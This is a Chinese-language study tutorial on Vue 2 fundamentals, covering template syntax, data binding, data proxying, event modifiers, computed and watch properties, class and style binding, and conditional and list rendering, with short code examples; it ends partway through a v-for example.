Vue基础(一)

目录

Vue是什么

Vue发音为“/vjuː/”,类似于英文单词“view”。这是一个由尤雨溪(Evan You)创建的渐进式JavaScript框架。
渐进式: Vue可以是自底向上逐层应用,引入各种Vue插件,由轻量小巧的核心库逐渐递进引入复杂插件库的过程,以满足复杂交互

特点

1.组件化模式,提高功能复用,且便于维护
2.声明式编码,无需操作DOM(js操作DOM为命令式编码),直接操作数据即可实现视图更新
3.使用虚拟DOM+优秀的diff算法,尽量复用DOM节点,减少DOM操作,提高性能


准备

Vue版本: 2.7.14
google浏览器版本: 22年101版本
google浏览器vue devTools扩展程序版本: 5.3.4
禁止vue devtools扩展程序自动更新:
修改/Users/xxx/Library/Application Support/Google/Chrome/Default/Extensions/nhdogjmejiglipccpnnnanhbledajbpd/5.3.4_0/manifest.json文件中update_url为不可访问地址,以及修改版本号为最新版本,这样google就不会自动更新vue devtools扩展程序了

1.引入vue.js文件
下载vue.js文件引入
<script src="引入vue.js"></script>
2.安装谷歌浏览器Vue.js devtools扩展程序,便于调试Vue项目
vue.2使用devtools
vue.3在google浏览器商店下载
3.修改Vue.config.productionTip = false;,关闭生产提示

初识Vue

<div id="root">
    <h1>hello,{{name}}</h1>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    // 指定一个元素模板,定义该元素使用的数据
    let template = {
        el: '#root',
        data: {
            name: 'Vue'
        }
    }
    // 创建Vue实例指定关联模板,vue会自动将 data 对象中的数据绑定到 el 指定的 DOM 元素上,并响应数据的变化
    new Vue(template)
</script>

1.容器中的代码称为vue模板如: <div id="root">{{name}}</div>
2.指定一个元素模板,定义数据
3.创建Vue实例指定关联模板,vue会自动将 data 对象中的数据绑定到 el 指定的 DOM 元素上,并响应数据的变化
img

注意容器和vue实例的关系

1.vue实例和容器的关系是1对1的关系,一个容器只能对应一个vue实例
2.一个vue实例对应多个相同id的容器,vue实例会自动将数据绑定到第一个容器上,其他容器不会显示数据


模板语法

插值语法

1.语法: {{xxx}}
2.功能: 用于解析标签体内容
3.注意: xxx 要写js表达式,不能写js语句,且可以调用js表达式中的方法、属性

插值语法中可以写的内容

模板中必须是js表达式或vue实例中的变量,不能是js语句,js语句如: if() for() switch() function(){} 函数定义 var a = 1

模板中可以写:
js表达式: {{name}}{{name.toUpperCase()}}{{1 + 1}}{{a + b}}{{name ? 'true' : 'false'}}{{fn()}}
vue中的变量/函数: {{$emit}}

指令语法

作用在标签上的语法,如: v-bind v-on v-model v-if v-for v-show v-html v-text v-cloak v-once v-pre

1.语法: 指令:xxx="yyy"v-bind指令可以简写 :xxx="yyy" xxx: 属性名,yyy: js表达式
2.功能: 用于解析标签,包括标签属性,标签内容,绑定事件等
3.注意: yyy 要写js表达式,且可以调用js表达式中的方法、属性

<a :href="url.trim()">百度</a>
<script type="text/javascript">
    new Vue({
        el: 'a',
        data: {
            url: 'https://www.baidu.com '
        }
    })
</script>

data对象中的数据可以有哪些

<div id="root">
    <h1>计算属性</h1>
    <input type="text" v-model="firstOne"> +
    <input type="text" v-model="lastOne"><br>
    计算和:{{sum()}}
    计算和:{{sum()}}
</div>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
            firstOne: 0,
            lastOne: 0,
            sum() {
                console.log('sum被调用了');
                return parseInt(this.firstOne) + parseInt(this.lastOne);
            }
        }
    })
</script>

img

如上代码,data对象可以有属性和方法,他们都会被vm对象代理,由于在调用data方法时也被代理了,因此效率不高,故data中一般只定义属性,不定义方法

每次刷新页面时,该vue实例都会重新解析模板,并执行所有的js表达式,包括data中的方法,两次sum()都会执行,因此data中的方法没有缓存
img

data属性不能通过this读取其他data中的属性,遵循原生js对象的属性访问规则

data:{
  name: 'Vue',
  otherName: this.name // otherName会是undefined
}
let obj = {
  name: "张三",
  age: 18,
  gender: this.age,
  fn() {
    console.log(this.name);
  }
};
console.log(obj);
obj.fn();

img


模板语法底层实现

在底层的实现上,Vue 将模板编译成虚拟 DOM 渲染函数。结合响应系统,Vue 能够智能地计算出最少需要重新渲染多少组件,并把 DOM 操作次数减到最少
因此vue实例中的data发生改变时,对应的组件会重新渲染,组件中所有模板会重新解析并操作DOM赋值。而不会重新渲染整个页面
例如组件模板中{{fn()}}fn函数也会重新执行


数据绑定

v-bind:单向数据绑定

1.语法: v-bind:标签中的属性="data中属性" 或简写 :xxx="yyy"
2.功能: 数据只能从data流向页面

v-model:双向数据绑定

将标签中value值流向data中属性,data中属性值也会流向标签value值

1.语法: 标签中添加v-model="data中属性"
2.功能: value属性值不仅可以流入data中属性,data属性值也能流入标签中的value
3.双向数据绑定一般应用在表单类元素value属性上,因此value属性可以简写,如: <input type="text" v-model="name">

<div id="app">
    单向绑定: 姓名:<input type="text" :value="name"><br>
    双向绑定: 姓名:<input type="text" v-model="name"><br>
</div>
<script type="text/javascript">
    var app = new Vue({
        el: '#app',
        data: {
            name: '张三'
        }
    })
</script>

img


el属性和data对象的两种写法

1.el有两种写法
(1).new Vue时候配置el属性
(2).先创建Vue实例,随后通过vm.$mount('#root')指定el属性

2.data有两种写法
(1).对象式
(2).函数式

// new Vue({
//     el: "#root",
//     data: {
//         name: "Vue"
//     }
// })
// let v = new Vue({
//     data: function () {
//         return {
//             name: "Vue"
//         }
//     }
// });
let v = new Vue({
    data() {
        return {
            name: "Vue"
        }
    }
});
v.$mount("#root");

注意

1.以函数管理数据,不要写成箭头函数,因为箭头函数中的this,指向的是window,而不是Vue实例
2.插值语法和指令语法中使用的变量或方法必须要在data中或者在计算属性中定义,或者已是vue实例管理的,否则报错
img


MVVM模型

1.M:模型(model),data中的数据
2.V:视图(view),模板代码
3.VM:视图模型(viewmodel),Vue实例

img

注意

1.所有的data属性,都会初始化到VM实例对象中,也就是初始化到vue实例对象中
2.vm中所有属性,以及原型对象中的所有属性和方法,都可以直接在模板中访问
img


数据代理

回顾Object.definedProperty()用法

Object.defineProperty() 静态方法会直接在一个对象上定义一个新属性,或修改其现有属性,并返回此对象。

let person = {
    name: '张三',
    sex: '男',
}
Object.defineProperty(person, 'height', {
    value: 1.88,
    enumerable: false, // 控制属性是否可以被枚举,默认值是false
    writable: true, // 控制属性是否可以被修改,默认值是false
    configurable: true // 控制属性是否可以被删除,默认值是false
})
console.log(person);

属性有灰色颜色,代表该属性不可枚举
img


get方法

let value = '1.88';
Object.defineProperty(person, 'height', {
    // value: 1.88,
    enumerable: false, // 控制属性是否可以被枚举,默认值是false
    // writable: true, // 控制属性是否可以被修改,默认值是false
    configurable: true, // 控制属性是否可以被删除,默认值是false
    get() {
        return value;
    }
})

当配置对象中有get function(){}时,访问该属性时,会执行get function(){}中的代码,并返回值,并且对象中不能有value和writable属性
img
当使用添加的height属性时会调用get方法,get height代表: 获取height属性的值,并返回get方法中的值
img

因此通过Object.defineProperty可以动态添加属性,并读取最新的属性值
修改value属性值,那么获取person对象中的height属性值时,也会获取到最新的value值
img

为一个对象添加属性,读取/获取该属性值,执行set方法/get方法
img

set方法

let person = {
    name: '张三',
    sex: '男',
}
let value = '1.88';
Object.defineProperty(person, 'height', {
    get() {
        console.log('get被调用了');
        return value;
    },
    set(newValue) {
        console.log('set被调用了');
        value = newValue;
    }
})
console.log(person.height); // 输出: get被调用了 1.88
console.log(person.height = '222'); // 输出: set被调用了 222

vue中的数据代理

数据代理: 通过一个对象代理另一个对象中属性的操作(读/写)

let vm = new Vue({
    el: '#root',
    data: {
        name: '张三',
    }
});
console.log(vm);

由此可见vm视图模型代理了data对象,当页面渲染name时,通过调用代理对象vm中的get方法,返回name值
当修改name值时,通过调用代理对象vm中的set方法,修改data对象中的name值
img

验证修改代理对象中的name,那么data中的name也会被修改

vm中的_data属性指向data对象,当修改vm中的_data属性时会执行代理对象中的set方法,set方法会修改data对象中的name值

let data = {
    name: '张三',
};
let vm = new Vue({
    el: '#root',
    data
});
console.log(vm);
console.log('vm._data === data,', vm._data === data); // true

原始data中的name值为张三,修改vm._data中name时,会调用_data中的set方法,set方法会修改原始data对象中的name值
再次获取data.name时,会调用_data中的get方法,get方法会返回原始data对象中的name值
img

总结

vue中数据代理的实现原理:
1.vm将原始数据放到_data变量中,目的是便于vue管理原始数据,vue实例中的代理属性是便于开发人员直接使用的,如this.name
两层代理关系:
img
2.vm对象通过Object.defineProperty()方式向vm对象中添加data对象中的属性,并重写set方法和get方法,实现数据代理
3.vm.属性时,调用get方法返回_data.属性值,再通过get方法获取原始data对象中的属性值
4.vm.属性 = 值时,调用set方法修改_data.属性值,再通过set方法修改原始data对象中的属性值
img

当调用vm.name时,会先获取_data.name,因此会执行到get(),输出: get被调用了

let data = {
    name: '张三',
};
let vm = new Vue({
    el: '#root',
    data
});
Object.defineProperty(vm._data, 'name', {
    get() {
        console.log('get被调用了');
    }
})
console.log(vm.name); // 输出: get被调用了

模拟vue中的数据代理

1.创建一个vue对象,该vue对象包括原始data对象
2.通过Object.defineProperty()方式向vue对象中添加data对象中的属性,并重写set方法和get方法,实现数据代理
3.当访问vue.name时,会调用vue对象中的get方法,get方法会返回原始data对象中的name值
4.当修改vue.name时,会调用vue对象中的set方法,set方法会修改原始data对象中的name值

let data = {
    name: '张三',
};
let vue = { data };
Object.defineProperty(vue, 'name', {
    get() {
        return data.name;
    },
    set(value) {
        data.name = value;
    }
});
console.log(vue);
vue.name = '李四';
console.log(data);

img


事件处理

v-on指令:绑定事件

v-on指令用于绑定事件,语法: v-on:事件名="方法名"
v-on指令可以简写为@事件名="方法名"

<div id="root">
    <h2>欢迎来到{{name}}学习</h2>
    <button v-on:click="showInfo">点我提示信息</button>
    <button @click="showInfo">点我提示信息</button>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            name: 'Vue',
        },
        methods: {
            showInfo(event) {
                console.log(event.target); //  输出: <button></button>
            }
        }
    });
</script>

事件绑定指令中也可以写js语句(不推荐)

指令语句中修改name属性和count属性,但不推荐这样做,降低代码可维护性

<div id="root">
    <!-- <button @click="show">我的名字: {{name}},点击次数: {{count}}</button> -->
    <button @click="name = name === '张三' ? '李四' : '张三';++count;">我的名字: {{name}},点击次数: {{count}}</button>
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            name: '张三',
            count: 0
        },
        // methods: {
        //     show() {
        //         this.name = this.name === '张三' ? '李四' : '张三';
        //         ++this.count;
        //     }
        // }
    })
</script>

img


总结

1.当事件方法没有()时,默认会传递event对象作为参数,如@click="showInfo",showInfo(event)(){} 中event为event对象
2.当事件方法有()时,可以传递参数以及event对象,如@click="showInfo(666, $event)",showInfo(num, event)(){} 中num为666,event为event对象
3.data中数据,包括函数都会被vm进行数据代理,因此方法应该放到methods中,提高调用性能
img
4.methods属性中的函数应使用方法形式,fn(){},其中的this指向vm对象或组件实例对象,而不应该使用箭头函数,因为箭头函数没有this
5.v-on|@事件绑定指令语句中可以写js语句但不推荐,而数据绑定指令v-bind|:中不能写js语句


事件修饰符

prevent阻止默认事件行为

js: event.preventDefault(): 阻止默认事件行为
vue: @click.prevent="fn"

<div id="root">
    <h2>欢迎来到{{name}}学习</h2>
    <a href="https://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            name: 'Vue',
        },
        methods: {
            showInfo() {
                console.log('提示信息');
            }
        }
    });
</script>

stop阻止事件冒泡

js: event.stopPropagation(): 阻止事件冒泡
vue: @click.stop="showInfo"

<div id="root">
    <h2>欢迎来到{{name}}学习</h2>
    <div class="box" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息</button>
    </div>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            name: 'Vue',
        },
        methods: {
            showInfo(event) {
                console.log('提示信息');
            }
        }
    });
</script>

@click.stop点击按钮事件对象不会冒泡到父级div的点击事件中,不会触发父级div的点击事件。
img

once事件只触发一次

<div id="root">
    <h2>欢迎来到{{name}}学习</h2>
    <button @click.once="showInfo">点我提示信息</button>
</div>
<script>
    new Vue({
        el: '#root',
        data: {
            name: 'Vue',
        },
        methods: {
            showInfo(event) {
                console.log('提示信息');
            }
        }
    });
</script>

img


capture事件捕获

默认情况下,事件触发在冒泡阶段: 由内向外触发事件
capture: 在外层事件中添加capture修饰符,表示事件通过捕获阶段触发,从当前元素开始由外向内触发事件,因为捕获过程是由外向内,而冒泡过程是由内向外

vue: @click.capture="showInfo"

<div id="root" @click.capture="showInfo">
    <button @click="showInfo">点我提示信息</button>
</div>
<script>
    new Vue({
        el: '#root',
        methods: {
            showInfo(event) {
                console.log(event.currentTarget);
            }
        }
    });
</script>

capture使事件在捕获阶段触发,因此事件对象会先触发父级div的点击事件,再触发子级button的点击事件
img


<div class="outer" @click="showInfo">
  <div id="root" @click.capture="showInfo">
    <button @click="showInfo">点我提示信息</button>
  </div>
</div>

未声明capture的事件仍然遵循事件冒泡机制
img


self只有事件对象本身会触发事件

self: 只有event.target === event.currentTarget时会触发事件

vue: @click.self="showInfo"

<div class="outer" @click="showInfo">
    <div id="root" @click.self="showInfo">
        <button @click="showInfo">点我提示信息</button>
    </div>
</div>
<script>
    new Vue({
        el: '.outer',
        methods: {
            showInfo(event) {
                console.log(event.currentTarget);
            }
        }
    });
</script>

点击button时触发了冒泡机制,由于root使用self修饰,只有触发元素是自己时才触发,因此不会触发事件,但是通过冒泡触发了外层的outer事件
img

因此self并不会阻断事件冒泡,也不会阻断事件捕获,只是在于只有事件对象本身会触发事件,而不会触发事件对象的其他父级元素


键盘事件

@keydown="key": 键盘按下事件
@keyup="key": 键盘松开事件
@keyup.enter="key": 按enter按键并松开时触发事件
@keyup.esc="key": 按esc按键并松开时触发事件
@keyup.space="key": 按space按键并松开时触发事件
@keyup.delete="key": 按delete/back按键并松开时触发事件
@keyup.tab="key": 按tab按键并松开时触发事件
@keyup.up="key": 按up按键并松开时触发事件
@keyup.down="key": 按down按键并松开时触发事件
@keyup.left="key": 按left按键并松开时触发事件
@keyup.right="key": 按right按键并松开时触发事件

注意按tab键事件问题

@keyup.tab="key": 按tab按键并松开时触发事件
当按下tab键时,还未松开就已经切换到了焦点,有可能光标定位到下一个input中,因此不会触发当前元素的keyup事件。
因此需要改为@keydown.tab="key",按下tab键时就出发事件

系统修饰键的特殊用法

@keyup.ctrl="key"
@keyup.alt="key"
@keyup.shift="key"
@keyup.meta="key"

系统修饰键配合keyup事件使用: 按下修饰键的同时再按下其他按键,随后释放其他按钮,才会触发事件
系统修饰键配合keydown事件使用: 按下修饰键就会触发事件

事件可以指定具体的keyCode值(不推荐)

@keyup.13="key": 按下enter键并松开时触发事件
@keyup.27="key": 按下esc键并松开时触发事件
@keyup.32="key": 按下space键并松开时触发事件
@keyup.46="key": 按下delete/back键并松开时触发事件
@keydown.9="key": 按下tab键并松开时触发事件

自定义按钮别名

在vue实例中配置按键别名指定对应的keyCode值

<input @keydown.custermAlias="key">
Vue.config.keyCodes.custermAlias = 13;

修饰符可以连续使用

<a href="https://jd.com" @click.prevent.stop="showInfo">点我提示信息</a>:
点击a标签先阻止默认事件,然后再阻止事件冒泡

系统按键修饰符后面可以添加字母按键

@keyup.ctrl.y="key": 按下ctrl+y键并松开时触发事件


methods对象中的方法

<div id="root">
    <h1>计算属性</h1>
    first: <input type="text" v-model="first"> +
    second:<input type="text" v-model="second"><br>
    other:<input type="text" v-model="other"><br>
    first + second 计算和:{{sum()}}<br>
    first + second 计算和:{{sum()}}<br>
</div>
<script type="text/javascript">
    let count = 0;
    const vm = new Vue({
        el: '#root',
        data: {
            first: 0,
            second: 0,
            other: 0
        },
        methods: {
            sum() {
                ++count;
                console.log(`get被调用了${count}次`);
                return parseInt(this.first) + parseInt(this.second);
            }
        }
    })
</script>

methods中的方法并不会被代理,只有data中的数据会被代理
img
每次vue解析模板时都会执行methods中的方法,因此methods中的方法没有缓存
img


computed对象中的计算属性

计算属性: 通过计算属性可以基于data中的数据进行运算,并返回结果,依赖于回调函数的return值

<div id="root">
    <h1>计算属性</h1>
    first: <input type="text" v-model="first"> +
    second:<input type="text" v-model="second"><br>
    other:<input type="text" v-model="other"><br>
    first + second 计算和:{{sum}}<br>
    first + second 计算和:{{sum}}<br>
</div>
<script type="text/javascript">
    let count = 0;
    const vm = new Vue({
        el: '#root',
        data: {
            first: 0,
            second: 0,
            other: 0
        },
        computed: {
            sum: {
                get() {
                    ++count;
                    console.log(`get被调用了${count}次`);
                    return parseInt(this.first) + parseInt(this.second);
                }
            }
        }
    })
</script>

在使用计算属性时在插值语法中直接写变量名
img


计算属性的get方法调用时机

计算属性调用的前提是: 必须使用了计算属性,才会调用get方法

1.初次读取计算属性时,包括初始vue实例(刷新页面),第二次读取则不会调用get方法

img

2.计算属性处理逻辑中任何地方依赖的数据变化时,也会调用get方法

img
修改get方法中使用的count属性,由于count属性不在data中,即使修改容器中other值来触发模板重新解析,也不会调用get方
因此当前get方法中使用到的data数据发生变化时才调用get方法,获取最新的计算属性值
img

3.计算逻辑中依赖的数据必须是响应式数据,如data,computed,props,他们发生改变时才会重新计算

4.计算属性不能监听data中深层次的数据改变从而执行计算,只有计算属性中使用到的具体属性发生变化时才能触发计算属性执行,且数组元素值的改变必须使用指定数组方法来改变,才能触发执行计算属性

例如:

data:{
  obj: {name: '张三', arr: [1,2]}
},
computed: {
  show(){
    console.log(this.obj);
    console.log(this.obj.arr[0]);
  }
}

由于计算属性逻辑中只用了obj,因此修改obj中name属性值,则不会触发计算逻辑

计算逻辑中使用obj.arr[0],通过修改脚标修改arr[0]的值也不会触发计算逻辑,应该使用vue包装好的数组破坏性方法,改变数组的元素值,才会触发计算逻辑 this.obj.arr.splice(0,1,newValue)


计算属性实现原理

1.通过Object.definedProperty原理,将计算属性对象Computed中的getter方法添加到vm实例中,并代理到vm实例中
2.当计算属性依赖的数据发生变化时,会触发计算属性的getter方法,并重新计算属性值,并返回给调用者
3.当计算属性依赖的数据没有发生变化时,不会触发计算属性的getter方法
4.修改计算属性时调用set方法,调用set方法没有缓存

img

computed: {
    sum: {
        get() {
            ++count;
            console.log(`get被调用了${count}次`);
            return parseInt(this.first) + parseInt(this.second);
        },
        set(value) {
            console.log(`set被调用了`);
            this.first = value - parseInt(this.second);
        }
    }
}

每次修改计算属性值,就会调用set方法,set方法中改变了data中属性值,那么计算属性sum的get方法也会执行
因此set方法中一般都会修改get方法中使用到的data中的属性值,以触发get方法执行,这样其他使用计算属性的地方也是实时刷新最新值
img


总结

1.计算属性的值是不确定的,要通过已有属性,包括data中属性或data外的属性计算得到返回值
2.计算属性的get方法调用时机:

  • 前提: 计算属性被使用了
  • 1.初次读取计算属性时,包括初始化vum实例(刷新页面),第二次读取则不会调用get方法
  • 2.计算属性中依赖的数据变化时,也会调用get方法
  • 3.依赖的数据是响应式数据,如,data,computed,props

3.与methods相比: 计算属性有缓存,methods没有缓存
4.计算属性通过Object.definedProperty原理,将计算属性对象Computed中的getter方法添加到vm实例中,并代理到vm实例中,直接通过vm.计算属性读取
5.计算属性中的set方法中一般都会修改在get方法中使用到的data的属性的值,这样才能get方法调用让其他地方读取最新计算属性值

sum: {
    get() {
        ++count;
        console.log(`get被调用了${count}次`);
        return parseInt(this.first) + parseInt(this.second);
    },
    set(value) {
        console.log(`set被调用了`);
    }
}

修改vm.sum=10;由于set方法中没有修改get方法中使用到的data属性值,因此不会触发get方法的调用,计算和仍然是5
img
6.计算属性中不能修改计算属性的值,会产生递归调用,导致栈溢出,即使在异步函数中修改当前计算属性也会导致递归调用

computed: {
    sum() {
      console.log(`get被调用了`);
      this.sum += 1; // 这里不能修改计算属性,栈溢出了
      // setTimeout(() => {
      //   this.sum += 1; // 这里不能修改计算属性,栈溢出了
      // }, 1000);
      return this.sum;
    }
  }

7.计算属性不能监听data中深层次的数据改变从而执行计算,只有计算属性中使用到的具体属性发生变化时才能触发计算属性执行,且数组元素值的改变必须使用指定数组方法来改变,才能触发执行计算属性


计算属性简写get回调函数方式

计算属性的get方法可以简写成函数,函数内容为get逻辑内容,set方法省略

computed: {
    sum() {
        ++count;
        console.log(`get被调用了${count}次`);
        return parseInt(this.first) + parseInt(this.second);
    }
}

注意

1.计算属性简写方式只针对于该属性读取场景,不兼容修改场景,如果想修改,那就需要完整写法中包含get和set方法
2.计算属性方法中可以使用this读取data数据,但是data属性不能通过this读取计算属性


watch对象中的监视属性

监视data中的属性变化,当属性变化时,会调用watch对象中监视属性的handler方法

watch对象中的监视属性以对象形式书写,每个属性对象中有以下常用属性:

1.immediate: 是否立即调用handler方法
false: 不立即调用handler方法,默认值
true: 无论有无用到data中该属性,在初始化时调用handler方法
2.handler回调函数: 监视属性变化时调用的方法,方法中可以获取到新值和旧值

<div id="root">
    <button @click="show">我的名字: {{name}},点击次数: {{count}}</button>
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            name: '张三',
            count: 0
        },
        methods: {
            show() {
                this.name = this.name === '张三' ? '李四' : '张三';
                ++this.count;
            }
        },
        watch: {
            name: {
                immediate: true,
                handler(newValue, oldValue) {
                    console.log('监视name属性的handler调用了', `新值:${newValue},旧值:${oldValue}`);
                }
            }
        }
    })
</script>

img


监视属性的两种写法

1.new Vue()时配置监视属性
2.通过vm.$watch()方法配置监视属性

// 1.new Vue()时配置监视属性
watch: {
    name: {
        immediate: true,
        handler(newValue, oldValue) {
            console.log('监视name属性的handler调用了', `新值:${newValue},旧值:${oldValue}`);
        }
    }
}

// 2.通过vm.$watch()方法配置监视属性
vm.$watch('name', {
    immediate: true,
    handler(newValue, oldValue) {
    }
})

注意

1.监视属性必须存在,否则监视无效
2.通过vm.$watch()方法配置监视属性时,属性名应该是字符串,不能是变量


深度监视属性变化

默认情况下vue也会监听深层次的属性变化,但是watch属性中默认情况只会监听data对象中第一层级的属性
如下代码: watch中默认情况下只能监听name、obj指的变化,如name的值改变,obj指向地址改变,但不能监听obj中age属性值变化

data: {
    name: '张三',
    obj: {
        age: 18
    }
}

通过读取属性名写法监听深层次某个属性值变化

'obj.深层及属性名': 指定深层次属性时,必须将属性名称用引号括起来

监听obj对象中age改变,可以这样写:

data: {
    name: '张三',
    obj: {
        age: 18
    }
},
watch: {
    'obj.age': {
        handler(newValue, oldValue) {
            console.log('obj中age字段改变', `新值:${newValue},旧值:${oldValue}`);
        }
    }
}

img


通过设置某个监视属性对象中deep属性开启监视属性中任意属性变化

data: {
    name: '张三',
    obj: {
        age: 18,
        naem: '123'
    }
},
watch: {
    // 'obj.age': {
    //     handler(newValue, oldValue) {
    //         console.log('obj中age字段改变', `新值:${newValue},旧值:${oldValue}`);
    //     }
    // }
    obj: {
        deep: true,
        handler(newValue, oldValue) {
            console.log('obj中age字段改变', `新值:`, JSON.stringify(newValue), `旧值:`, JSON.stringify(oldValue));
        }
    }
}

img

当监听数据为对象类型时,应该配置deep: true,对象中的属性值发生改变,会触发回调函数,但是新值和旧值相同,都为最新的对象值

data: {
  name: '张三',
  obj: {
      age: 18,
      naem: '123'
  }
},
watch: {
  obj: {
      deep: true,
      handler(newValue, oldValue) {
          console.log('obj中age字段改变', `新值:`, JSON.stringify(newValue), `旧值:`, JSON.stringify(oldValue));
      }
  }
}

img


总结

1.watch默认不检测对象内部属性值变化
2.配置监视属性的deep: true,可以开启监视对象内部属性值变化
3.开启深度就监视的属性,该属性中任意属性值发生改变,就会触发handler回调函数,该函数中并不能获取具体哪个属性值发生改变
4.监视逻辑中不能修改当前监视属性,否则递归调用

watch: {
  count() {
    console.log('count被修改了');
    this.count += 1;
  }
}

5.当监听数据为对象类型时,应该配置deep: true,对象中的属性值发生改变,会触发回调函数,但是新值和旧值相同,都为最新的对象值


单层次watch简写handler回调函数形式

1.监视属性不是深度属性时才可以简写
2.当监视对象未开启immediate: true时,可以对handler回调函数进行简写

// 实例配置形式
watch: {
    name(newValue, oldValue) {
        console.log('监视name属性的handler调用了', `新值:${newValue},旧值:${oldValue}`);
    }
}
// vue的$watch方法形式
vm.$watch('name', function(newValue, oldValue) {
    console.log('监视name属性的handler调用了', `新值:${newValue},旧值:${oldValue}`);
})

计算属性和监听属性对比

1.计算属性的使用场景用于实时计算当前属性值,依赖于get回调函数的return值
2.监听属性的使用场景用于监听当前属性值变化,回调函数中可以处理其他属性的值
3.计算属性回调函数中,返回结果不能异步化,否则获取不到计算属性值
如下代码,则无法读取name值

computed:{
    name(){
        setTimeout(()=>{
            return '张三'
        })
    }
}

4.监听属性回调函数中对其他属性可以进行异步化
5.只有计算属性中使用到具体属性发生变化时才能触发执行计算逻辑,而监视属性可以通过配置deep: true来监听对象内部属性发生变化时就能触发执行监视逻辑

注意

1.所有交给vue管理的函数最好写成普通函数函数名(){}
2.所有不被vue管理的回调函数最好写成箭头函数()=>{},例如定时器回调函数,ajax回调函数,promise回调函数,这样回调函数中的this才能指向vue实例,便于在回调函数中通过this操作vue属性和方法

在watch中异步处理逻辑时用到的函数应该是箭头函数,因为箭头函数中this才是vue实例对象
如下代码,监听name属性中使用到的定时器的回调函数应该是箭头函数,该回调函数中this指向name函数中的this,而namethis就是vue实例对象

watch:{
    name(newValue, oldValue) {
        console.log(this); // vue实例对象
        setTimeout(()=>{
            console.log('this指向vue实例', this); // 输出:  this指向vue实例 [vue实例对象]
        },2000)
    }
}

绑定class样式

vue绑定元素class样式原理和vue绑定元素属性原理一样,都是通过v-bind指令绑定属性值,然后通过vue实例对象中data属性中定义的属性值来动态设置class样式
vue会将已有的class样式和绑定的class属性样式进行汇总为class的最终样式

vue最终汇总的class样式为: class="box active属性的值"

<div class="box" :class="active">我的class样式</div>

字符串写法

:class="data属性": data属性值为类选择器名字

<style>
    .basic {
        width: 100px;
        height: 100px;
        border: 1px solid black;
    }
    .happy {
        background-color: red;
        background-image: linear-gradient(to right, red, yellow);
    }
    .sad {
        background-color: blue;
    }
</style>
<div id="root" class="basic" :class="bg">
    你好,vue
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            bg: 'happy'
        }
    })
</script>

img

数组写法

绑定class属性值为arr变量

<div id="root" class="basic" :class="arr">
    你好,vue
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            arr: ['happy', 'sad', 'radius']
        }
    })
</script>

img

对象写法

样式名称维护到对象中
key: 类名
value: 样式是否生效,true生效,false不生效

由于对象key的命名只能有$,_特殊字符,因此带有-的样式名称需要用引号包裹

<div id="root" class="basic" :class="classObj">
    你好,vue
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            classObj: {
                happy: true,
                sad: false,
                radius: true,
                'customer-class': true
            }
        }
    })
</script>

img


绑定style内联样式

使用对象写法动态绑定style样式值
对象中key: 样式名,将-样式名,转为小驼峰或使用引号包裹
value: 样式值

<div id="root" class="basic" :style="styleObj">
    你好,vue
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            styleObj: {
                'font-size': 20 + 'px',
                backgroundColor: 'aqua',
            }
        }
    })
</script>

img


使用数组写法: 不推荐

<div id="root" class="basic" :style="styleArr">你好,vue</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            styleArr: [
                { 'font-size': 20 + 'px' },
                { backgroundColor: 'aqua' },
            ]
        }
    })
</script>

条件渲染

v-show

v-show: 判断条件为false时,元素不显示,但元素还在DOM中,只是display属性值为none

<div id="root" v-show="active">
    你好,vue
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            active: false
        }
    })
</script>

img


v-if/v-else-if/v-else

v-if: 判断条件为true时,渲染元素,false时,直接不渲染该元素,为false时则进行相邻下方条件判断
v-else-if: 上方相邻的if判断false时,才会判断v-else-if条件为,true渲染该元素,false不渲染该元素
v-else: 上方相邻判断条件为false时,直接渲染该元素

<div id="root">
    <h2 v-if="score >= 90">优秀</h2>
    <h2 v-else-if="score >= 80">良好</h2>
    <h2 v-else-if="score >= 60">及格</h2>
    <h2 v-else>不及格</h2>
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            score: 59
        }
    });
</script>

条件判断逻辑如下:

if (score >= 90) {
    // 渲染元素
} else if (score >= 80) {
    // 渲染元素
} else if (score >= 60) {
    // 渲染元素
} else {
    // 渲染元素
}

img

v-if/v-else-if/v-else作为一组判断其中不能使用普通标签

如下代码,if后面有普通标签<br>,因此打断了后面的条件判断,后面的条件dom则不会渲染,只有v-ifdom条件判断才会生效

<h2 v-if="score >= 90">优秀</h2>
<br>
<h2 v-else-if="score >= 80">良好</h2>
<h2 v-else-if="score >= 60">及格</h2>
<h2 v-else>不及格</h2>

vue模板解析时就会报错: v-else-if前面没有v-if
img


列表渲染

v-for把一个数组对应为一组元素

在标签中使用v-for指令,可以遍历渲染该标签以及内容
v-for语法: v-for="(item, index) in items"

在使用v-for时,一定要使用:key属性

有相同父元素的子元素必须有独特的key。重复的 key 会造成渲染错误

<div id="root">
    <ul>
        <li v-for="item in persons" :key="item.id">姓名: {{item.name}} 年龄: {{item.age}} 成绩: {{item.score}}</li>
    </ul>
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            persons: [
                {
                    id: 1,
                    name: '张三',
                    age: 18,
                    score: 100
                },
                {
                    id: 2,
                    name: '李四',
                    age: 19,
                    score: 99
                },
                {
                    id: 3,
                    name: '王五',
                    age: 20,
                    score: 98
                }
            ]
        }
    })
</script>

img


使用v-for遍历对象

v-for遍历对象时,可以接收(value,key,index)三个值

<div id="root">
    <ul>
        <li v-for="(value,key,index) in person" :key="index">属性名: {{key}} 属性值: {{value}} 索引: {{index}}
        </li>
    </ul>
</div>
<script type="text/javascript">
    let vm = new Vue({
        el: '#root',
        data: {
            person: {
                id: 1,
                name: '张三',
                age: 18,
                score: 100
            }
        }
    })
</script>

img


使用v-for遍历元素指定次数

<div id="root">
    <ul>
